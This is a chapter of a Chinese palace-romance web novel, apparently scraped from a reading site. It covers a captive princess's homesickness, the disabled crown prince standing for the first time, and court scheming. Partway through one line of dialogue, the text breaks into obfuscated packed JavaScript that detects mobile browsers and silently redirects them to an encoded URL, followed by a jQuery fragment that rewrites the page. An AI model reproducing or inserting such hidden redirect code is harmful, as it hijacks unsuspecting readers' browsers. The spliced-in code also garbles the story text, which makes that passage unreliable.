17. 017

作品:《春诱

    晋子瑾垂着眼帘,眸光微暗。


    “回南赵……”他微弯唇角,“阿娘若是回去了,还会想回来吗?”


    虞珧抬起头,视线撞入他晦暗的眸光里,她伸手抓住晋子瑾的手,“小瑾跟我一块留在南赵。”


    晋子瑾没有应,移开了视线,“我先答应阿娘吧,若是能有机会,可以带你回去。”


    虞珧欣喜地搂住他的脖颈,磨蹭起身亲了一下他的脸颊,“我就知道小瑾最好了。”


    晋子瑾不语,他看向还在天空飘动的青绿蝴蝶。


    “你心里就只有南赵吗?”


    “嗯?阿娘心里还有小瑾啊。”虞珧看着他在明亮光线下透亮的眸,“小瑾不要总想那么多。”


    她推了推晋子瑾,从他怀里起身。


    “小瑾总是会好的。阿娘也说过,会一直和小瑾在一起。”


    “嗯。”


    晋子瑾应了一声。二人在庭院中漫步闲谈。


    这日夜里。


    锦翎宫内。一直昏迷着的诸相玟醒了。


    想着此番所受之苦,恨得咬牙切齿。


    晋兴怀听闻消息从床起身,整冠束带,疾步入锦翎宫大殿探望。


    一进内殿里,“娘。”


    诸相玟见他,愈发觉心酸与苦楚。


    “怀儿啊。”


    她声音虚弱着,“郦芜这女人,真是忽然硬气起来了。她儿子的事,与我有何干系。至今还记恨我。”


    晋兴怀在床边坐下,握住她的手安抚她不要乱动。


    “怀儿啊,你一定要争气啊。太子一个残废,哪里当得住太子。自古还真没听闻过。陛下不顾旧情,不顾父子之情,才让那时还小的太子落下残疾,体寒身弱。郦芜这女人就只为这事记恨我。”


    诸相玟始终不忿于心,念叨着。


    “你要记得,不要惹陛下生气。”


    “我知道,娘。”


    殿中烛火燃着几只,光线昏昏晃动。照着诸相玟的脸泛黄而萎靡。


    “娘也不要总惦记着这些事,于伤势的恢复不好。皇兄这太子必是做不长久,待我当上太子,就不必再忍今时之气。”


    春深时的光阴明媚温暖。


    南赵的信耽搁了一月有余才送至东宫。


    晋子瑾拿在手中,东福看着一脸忧虑。


    “放去妆台里吧。”


    晋子瑾将信笺递到东福面前,东福疑惑,“殿下,您不看吗?”


    “并非是给我的书信。拆看无礼。”


    东福双手接过,目光看到信封上的大字:阿珧亲启


    未见书信人的落款。


    他恭敬应下,回身去将信笺放入妆台的抽屉中。思及晋子瑾曾将要送予南赵公主的香脂放在这里,还有在文守买下的女子饰品与胭脂此时也在这儿,再看信封上的亲昵称谓。


    这是给南赵公主的信?


    如何在殿下这儿,又存放入抽屉?


    不再多想,合上抽屉。


    他走回晋子瑾身边。晋子瑾吩咐他道:“推我到外头走走。”


    “是,殿下。”


    走在庭院的微风暖阳下,晋子瑾忽地让东福停了下来。东福应声停住,而后看他撑着扶手欲站起。


    “殿下!”他瞠目大惊,伸出手疾步上前。


    “别碰我。”晋子瑾止住他要来扶的动作。而后缓缓站起来,比第一次的颤颤巍巍稳当不少。


    东福见他真的站起来了,更是瞠目结舌。


    晋子瑾一手撑着扶手,勉强支撑着站立,只觉整个人的视野都更开阔明亮了。然不过短短几息,就往后摔去。


    东福立刻捞住了他。


    “殿下!”


    晋子瑾被他捞住,顿时一阵轻快的笑声,出言调侃道:“东福还是不如女子怀里的软玉温香。”


    东福听着他这般轻盈的笑,恍惚着都未注意到他说了什么。


    “殿下您……”


    方才看到晋子瑾站着的震惊还留在他的脑海。


    “可以站起来了。”晋子瑾接话,“会好的。她说得对。”


    东福将他轻放在轮椅上坐着,这才想起他刚刚说了什么,“殿下,您是嫌弃奴才这个阉人没有女人抱得您舒服享受吗?”


    晋子瑾笑而不语。


    东福感到挫败,“殿下您抱过女人?”


    他怎么不知道?什么时候的事?


    “梦里也算吧。”


    “……”您这是缺女人都开始做春梦了。不行,得告诉皇后娘娘,殿下确实早就到年纪,需要女人滋润了。


    得了空,东福去到静和宫。


    静和宫内,郦芜正与虞珧在花园中捕蝶,一片欢声笑语。


    “诶呀,娘娘,您不行啊。虞氏都捉到两只了。您一只还没有。”流珠的声音清晰地飘散在空中。


    “把我的给娘娘,娘娘就有两只了。”虞珧将连华手中的琉璃罐换到郦芜的手中。


    郦芜挫败不服的神色忽而明亮,看着在琉璃罐中煽动翅膀的蝴蝶,“你看,流珠。珧儿多会说话,多会讨我开心。你尽说我的风凉话。”


    连华看着自己手中装着蝴蝶的罐子忽然换成了空罐,郦芜脸上的挫败转移到了她脸上。


    近春脚步急促,前来禀报,“娘娘,东福公公来见您。”


    郦芜目光看过去,“嗯。让他到殿中等我。”


    近春应声离去。


    郦芜看着手里的琉璃罐,打开盖子看着蝴蝶飞向天空。


    “娘娘,您怎么又放飞了啊。虞氏也是花了功夫逮到的。”流珠不解。连华更是不满。


    郦芜将空罐递给流珠,拉住虞珧的手,“若将它们据为己有,几日后也不过两具尸首,在琉璃罐里腐败。观赏过它们的美好,让它们离去,才能延续。”


    虞珧没有说话,她看着飞走的蝴蝶,认同郦芜的话。


    郦芜回头看虞珧,脸带笑容,“走吧,回殿中去。看有何事。”


    虞珧点头。


    回到静和殿内殿里,窗棂撒入明亮的光线。


    郦芜与虞珧坐在榻上,东福向郦芜行礼。


    “皇后娘娘。”


    “太子是有何事吗?”


    “殿下无事,是奴才有事禀报娘娘。”


    “说吧。”


    虞珧坐在一边,手里玩着布娃娃,并未在意他们说着什么。


    东福禀道:“皇后娘娘,殿下方才能站起来了。”


    “什么?”郦芜以为幻听,凝神看着东福。


    “殿下能站起来了。奴才亲眼所见。虽然只有很短的功夫。”


    郦芜倏然站起身,“你说得,是真的?”


    “是真的,真的不能再真。殿下想是能好的。”


    郦芜一时间显得无措,她在榻边坐下,仍觉心情不能平复。


    东福又禀道:“娘娘,殿下宫中可是需要女子?殿下年纪不小了。”


    “他的意思呢?”郦芜看一眼身边的虞珧。


    她至今不知阿瑾心中所想为何。


    “殿下也是想了吧。他还道奴才不如女子软和。奴才只是来问问皇后娘娘您的意思。”


    郦芜犹豫。


    “都随他吧。他的这些事,我是无法插手。”她看向身边低着头不闻事的虞珧,“你也不知太子与她的事吗?”


    东福不禁也看向虞珧,“娘娘,殿下与南赵通了书信,回信是给虞氏的。旁得,奴才便不知了。”


    ……


    皇宫中的回廊内,晋兴怀与晋先祈闲庭信步,看着院中的春景,“三弟,这好天气,不出宫玩玩吗?”


    晋先祈看他,“皇兄有何好去处?”


    “城中画舫游船听曲,不谓好去处。”


    晋先祈点头。晋兴怀又道:“叫上太子皇兄。”


    晋先祈不禁微微皱眉,“二皇兄,太子皇兄怕是不愿出宫吧。他那腿又不方便。”


    “不方便就不能出宫了吗?你我都去,他作为长兄总是不能与我二人同道,有碍兄弟感情啊。”


    晋先祈不语。


    似是说:你有能耐把人叫出去,那你就叫呗。有什么锅反正我不背。


    晋兴怀本是想让他去叫晋子瑾,但看他不上当,知道此事无果,只能自己去叫晋子瑾。


    东宫里


    晋兴怀看着坐在木轮椅上的晋子瑾。光与叶斑驳的影落在他身上。


    “皇兄次次都不与我们一道吗?就是腿不行,也不能是理由吧。次次如此,让人很失望。”


    晋子瑾看着他,不知他可是又在打什么主意。


    “今日吗?”


    “过两日也行,看太子皇兄想要哪日。”


    “那便后日吧。”


    晋兴怀笑,“这才像是我们的好皇兄嘛。”


    虞珧自静和宫回重光殿的路上,遇到晋文偃。


    他身侧还跟着个美人。


    晋文偃笑吟吟望着虞珧,“从静和宫来?皇后倒是喜欢你的很,听说,人都开朗了。”


    虞珧抿唇,垂眸,“陛下。”


    美人在晋文偃身侧歪头看着虞珧,“陛下,她就是那个疯了的南赵公主吗?”


    她抽回挽着晋文偃的手,走到虞珧面前,看到她手中的布娃娃,抢了过来,“这是什么?”


    虞珧焦急地去她手中抢,“还给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14874183|158842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我。”


    美人躲到晋文偃身后,询问晋文偃,“陛下,这个丑东西是什么?她这么宝贝,是陛下赏赐的吗?”


    晋文偃笑,“算是吧,朕赏给她的孩子。”


    “这是孩子?”她闻言笑了起来,“这不是个破布娃娃吗?”她扬了扬手,看虞珧又扑过来抢,“把小瑾还给我。你不要伤到他!”


    美人拿着布娃娃,围着晋文偃躲避着虞珧,“陛下,我想要这个。您将它赏给我吧。”


    “这是我的。小瑾是我的!”虞珧忽然一把抓住了她的手腕。


    女子被抓疼,蹙眉,挣扎。


    见虞珧要抢到她手中的娃娃,她一下将布娃娃丢了出去。


    虞珧当即松开她,跑去捡布娃娃。抱在怀中爱怜、疼惜之色。


    “陛下,您留着这个疯子在宫中还有何用吗?以晋国的强大,根本就无需忌惮他人。倒不如将她杀了,留着些粮食还能喂几只鸡。”


    晋文偃目光渐凉薄,偏头看她,“留着这不挺有趣的?怎么,碍着你了?朕的粮食难道养不起个闲人么?”


    女子迎上他的目光,一时畏惧,闭了嘴。


    虞珧蹲在一边怀里抱着娃娃,转头看向晋文偃。眼眶微红,盈着一些泪光。


    连华在旁,低着头并不敢言。


    晋文偃看一眼虞珧,闲适离去。


    两人走了,连华才上敢前拉起虞珧,“快回重光殿吧。”


    虞珧不语,默默起身抱紧怀里的布娃娃。


    她回头看了一眼晋文偃的身影,被连华拉住,“快走吧,别看了。”


    这夜


    虞珧收到了虞珩的信。


    她坐在妆镜前握着从抽屉中拿出的信笺。看着信封上“阿珧亲启”四字,指尖微微发抖。


    她已经忘记哥哥的笔迹是不是这样。但却觉得能从其上闻到哥哥殿中熏香的味道。


    她克制不住手指的颤抖,拆开信笺。


    墨迹在纸上是那样亲切。


    她觉得泪水湿了脸颊。


    心中情绪翻涌,可脑海又想不出什么东西来。


    她早晚要忘光。


    “阿珧,南赵一切都好。我好,父王、母后也好。阿珧在晋国一切如何。希望阿珧健健康康,平安快乐。哥哥会想办法接你回来的。你宫里种的那棵石榴树已经能结果了,云琅一直照顾着,去年秋都便宜她了……”


    她这样见到哥哥,哥哥会不会觉得她有病。


    她真的忘了很多东西。脑子也很迷糊。


    晋子瑾坐在一旁,看她脸上滑落泪痕,泪珠剔透从下颌一颗颗滴落。伸手用指腹拭去她颊上的水色,泪水却打湿了他的手指。


    “这么想家吗?”


    虞珧看向他,神色慌张,“小瑾,我这样若是见到哥哥,他会不会觉得我是个疯子?我记不清了,很多事情都记不清了。很多事情也想不清楚。我是不是真的脑子坏掉了。”


    “没有。你好好的呢。不要乱想。”


    虞珧仍是止不住泪水,显得失魂落魄,“我如果真的疯了怎么办。”


    “不会的。”


    “真的吗?”虞珧一眼泪光看着晋子瑾。


    “真的。”晋子瑾抬袖擦拭她脸上的泪水,“不是应该高兴吗,如何这么伤心。”


    虞珧不语。


    她想念南赵,她真的好想回南赵。她想见哥哥,想见母后,想见父王,还有云琅。


    当初不让云琅跟来晋国,果然是对的。


    否则,云琅一定会跟她一块儿疯掉。


    她还是失魂落魄地坐着掉眼泪。晋子瑾从她手中拿过信笺以免沾湿。


    “这些日子会觉得开心一些吗?”


    虞珧抬起眼眸看他,点点头。泪珠子从眼眶剔透地洒落几颗。


    晋子瑾用掌心又轻擦过她的脸颊,擦去泪痕。


    她哭得眼泪没有那么多了。


    “皇后娘娘挺好的,和她在一起会开心。”


    晋子瑾闻言放松了神色,淡淡的笑,“嗯。那就好。”


    “小瑾。”


    “嗯?”


    虞珧抱住他,“还是小瑾对我好。”


    “是吗?”


    “嗯。最喜欢小瑾了。”


    “你难道不是最喜欢虞珩吗?”


    虞珧沉默。


    晋子瑾也沉默着。


    “那不一样。我在晋国最喜欢小瑾。”


    晋子瑾依旧无言。


    他趴在她肩上,闻到她身上的淡香,那股与他相融的味道,感受到她怀中沉甸甸的温软。


    想起东福问他的话“殿下身边可是需要个女子了?”。